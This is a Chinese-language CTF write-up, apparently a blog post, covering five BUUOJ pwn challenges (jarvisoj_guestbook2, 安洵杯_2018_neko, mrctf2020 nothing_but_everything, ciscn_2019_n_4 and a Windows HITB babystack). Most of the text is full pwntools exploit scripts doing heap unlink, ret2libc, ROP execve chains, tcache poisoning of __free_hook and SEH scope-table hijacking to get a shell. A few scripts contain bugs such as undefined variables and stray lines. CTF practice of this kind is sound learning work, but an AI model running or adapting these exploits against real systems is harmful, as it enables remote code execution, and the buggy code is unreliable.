226 jarvisoj_guestbook2

刚开始是初始化。
每个chunk的信息啥的,都申请了一个大的chunk都写在了里面。
list
add

edit

free

跟
jarvisoj_level6_x64
有血缘关系。
问题出在edit的realloc上面。
我们先来看一下realloc。
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
在这个题里面当我们realloc的时候如果size大于ptr的size,会首先将原来的chunk释放掉,然后再找一个更大的chunk分配给它,返回这个chunk的地址,但是我们要注意,这里的找一个更大的chunk,有两种不同情况。
1、如果有足够空间用于扩大mem_address指向的内存块,则分配额外内存,并返回mem_address
这里说的是“扩大”,我们知道,realloc是从堆上分配内存的,当扩大一块内存空间时, realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平。也就是说,如果原先的内存大小后面还有足够的空闲空间用来分配,加上原来的空间大小= newsize。那么就ok。得到的是一块连续的内存。
2、如果原先的内存大小后面没有足够的空闲空间用来分配,那么从堆中另外找一块newsize大小的内存。
我们这道题用到的情况显然是后者。
我们在做题的时候首先申请了5个chunk,然后free掉了2、4.接着对chunk1进行了一次大于chunksize的edit,那么造成的结果是什么,首先释放了chunk1的地址,然后试图寻找对上现存的能用的空间,就找到了2,因为他是空闲的,于是合并再一次,分配给chunk1.所以虽然你是edit的0x90,但是其实返回的chunk是1、2合并起来的0x120.
然后伪造好chunk,做一个unlink就好了。
确实有个uaf,但是好像跟他也没什么关系。
exp
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
r = remote('node4.buuoj.cn','28138')
elf = ELF('./226')
libc = ELF('./64/libc-2.23.so')
def show():
r.recvuntil('Your choice: ')
r.sendline('1')
def add(size, note):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('Length of new post: ')
r.sendline(str(size))
r.recvuntil('Enter your post: ')
r.sendline(note)
def edit(index, size, note):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('Post number: ')
r.sendline(str(index))
r.recvuntil('Length of post: ')
r.sendline(str(size))
r.recvuntil('Enter your post: ')
r.send(note)
def free(index):
r.recvuntil('Your choice: ')
r.sendline('4')
r.recvuntil('Post number: ')
r.sendline(str(index))
free_got = elf.got['free']
add(0x80,0x80 * 'a') # chunk 0
add(0x80,0x80 * 'a') # chunk 1
add(0x80,0x80 * 'a') # chunk 2
add(0x80,0x80 * 'a') # chunk 3
add(0x80,0x80 * 'a') # chunk 4
edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
#gdb.attach(r)
free(3)
free(1)
payload = 0x90 * 'a'
edit(0,len(payload),payload)
show()
#show the heap_addr
#two unsorted_bin chunk linked
r.recvuntil(0x90 * 'a')
heap_0 = u64(r.recvuntil('\x0a') + '\x00\x00\x00\x00') - 0x19a0
heap_4 = heap_0 + 0x1a40
fd = heap_0 - 0x18
bk = heap_0 - 0x10
payload = p64(0) + p64(0x80)
payload += p64(fd) + p64(bk)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80) + p64(0x90)
edit(0,len(payload),payload)
free(1)
#这个free就是用到realloc造成堆溢出之后造成的unlink
payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
payload = payload.ljust(0x90,'\x00')
edit(0,len(payload),payload)
show()
free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
print hex(libc_base)
payload = p64(system)
edit(0,len(payload),payload)
r.interactive()
227 安洵杯_2018_neko




栈溢出还有system函数。
exp
from pwn import*
context.log_level = "debug"
r = remote("node4.buuoj.cn", "27847")
elf = ELF("./227")
libc = ELF("./32/libc-2.27.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
play = 0x80486e7
r.sendlineafter("Hey!Do you like cats?\n", "y")
payload = 'a' * 0xd4 + p32(puts_plt) + p32(play) + p32(puts_got)
r.sendlineafter("Help this cat found his anchovies:\n", payload)
puts_addr = u32(r.recvuntil("\xf7")[-4:])
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + libc.search("/bin/sh").next()
system_addr = libc_base + libc.sym['system']
print "puts_addr = " + hex(puts_addr)
print "libc_base = " + hex(libc_base)
payload = "a" * 0xd4 + p32(system_addr) * 2 + p32(bin_sh)
r.sendlineafter("Help this cat found his anchovies:\n", payload)
r.interactive()
这道题刚开始的时候似乎是没有给环境的,libcsearcher也找不到,找到了不用泄露libc的exp,学习学习。
exp
from pwn import*
context.log_level = 'debug'
#sh = process('./neko')
sh = remote("node4.buuoj.cn", "27847")
sys_plt = 0x08048410
data_addr = 0x0804A028
mov_ecx_edx = 0x0804884c
xchg_ecx_edx = 0x08048842
xor_edx_edx = 0x0804882a
xor_edx_ebx = 0x08048834
pop_ebx = 0x080483dd
payload = "A"*0xd0 + "A"*0x4
#-------------------------------------#
# addr -> ecx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += p32(data_addr)
payload += p32(xor_edx_ebx)
payload += "B"*0x4
payload += p32(xchg_ecx_edx)
payload += "B"*0x4
# data -> edx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += "/bin"
payload += p32(xor_edx_ebx)
payload += "B"*0x4
# edx -> ecx
payload += p32(mov_ecx_edx)
payload += "B"*0x4
payload += p32(0)
# addr+4 -> ecx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += p32(data_addr + 4)
payload += p32(xor_edx_ebx)
payload += "B"*0x4
payload += p32(xchg_ecx_edx)
payload += "B"*0x4
# data -> edx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += "/sh\x00"
payload += p32(xor_edx_ebx)
payload += "B"*0x4
# edx -> ecx
payload += p32(mov_ecx_edx)
payload += "B"*0x4
payload += p32(0)
sh.recv()
sh.sendline(payload)
sh.interactive()
payload += p32(sys_plt)
payload += "B"*0x4
payload += p32(data_addr)
sh.recv()
sh.send('y')
sh.recv()
sh.sendline(payload)
sh.interactive()
228 mrctf2020_nothing_but_everything

这题真绝,给的程序是静态的,没有一点输出,符号表也没有,功能漏洞全靠猜。
我们首先判断程序是先输入个啥,然后进入一大堆输入的地方。
找到第二次输入,动态调试。
rdx是0x300
明显看到栈大小是0x70,有溢出,我们直接 用ROPgadget就行。
exp
from pwn import *
from struct import pack
def exp():
r = remote('node4.buuoj.cn', 28242)
r.sendline("1")
sleep(1)
p = 'a' * 120
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall
r.sendline(p)
r.interactive()
exp()
229 ciscn_2019_n_4
got表可以修改,pie也没开。
add
bss段里面先是申请了一个一个0x10大小的chunk,前八个字节放着size,后八个字节放着申请到的chunk的地址。
edit
有个off by one
show

正常show
delete
有uaf,但是限制比较多,因为size清零了。
所以这道题说白了就是一个off by one。
因为got表也可以修改,所以就随便攻击。
exp
from pwn import *
context.log_level = "debug"
r = remote('node4.buuoj.cn',28709)
#r = process("./229")
libc = ELF('./64/libc-2.27.so')
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add(size,content):
r.sendlineafter(':','1')
r.sendlineafter(' ?',str(size))
r.sendlineafter('nest?',content)
def edit(idx,content):
r.sendlineafter(':','2')
r.sendlineafter(' :',str(idx))
r.sendafter('nest?',content)
def show(idx):
r.sendlineafter(':','3')
r.sendlineafter('Index :',str(idx))
def delete(idx):
r.sendlineafter(':','4')
r.sendlineafter('Index :',str(idx))
add(0x410,'aaaa')#0
add(0x10,'/bin/sh\x00')#1
delete(0)
add(0x18,'')#0
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF) - 0x1000
#这里接受到的跟unsorted bin里面的地址不一样
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
add(0x10,'aaaa')#2
add(0x10,'/bin/sh\x00')#3
add(0x10,'aaaa')#4
edit(0, 'a'* 0x10 + p64(0x40) + '\x81')
delete(3)
delete(2)
#gdb.attach(r)
add(0x71,'a'*0x38+p64(0x21)+p64(free_hook))#2
#gdb.attach(r)
add(0x10,p64(system_addr)) #3
delete(1)
r.interactive()
230 [Windows][HITB GSEC]BABYSTACK
第一道winpwn,拖到IAD看一下逻辑。
给了main函数跟stack的地址,明显有个溢出。所以我们按照一般的思路,去伪造SEH,具体点说是scope table结构体来劫持异常程序流,最后制造异常来get shell。
参考了这个链接
exp参考了EX大佬。
from pwn import *
context.arch = 'i386'
r = remote('node4.buuoj.cn', 25882)
def get_value(addr):
r.recvuntil('Do you want to know more?')
r.sendline('yes')
r.recvuntil('Where do you want to know')
r.sendline(str(addr))
r.recvuntil('value is ')
return int(r.recvline(), 16)
r.recvuntil('stack address =')
result = r.recvline()
stack_addr = int(result, 16)
r.recvuntil('main address =')
result = r.recvline()
main_address = int(result, 16)
security_cookie = get_value(main_address + 12116)
r.sendline('n')
next_addr = stack_addr + 212
SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 733,
]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
r.sendline(payload)
r.recvline()
r.sendline('yes')
r.recvuntil('Where do you want to know')
r.sendline('0')
r.interactive()
编辑操作引发的内存重组:漏洞利用与exploit详解
本文详细解析了内存管理中的realloc操作,特别关注编辑操作导致的内存合并与重新分配,以及在226jarvisoj_guestbook2和227安洵杯_2018_neko等竞赛题目中的应用。通过实例展示了如何利用realloc的特性进行UAF和栈溢出,以及如何在229ciscn_2019_n_4中利用got表修改实现offbyone攻击。
787

被折叠的 条评论
为什么被折叠?



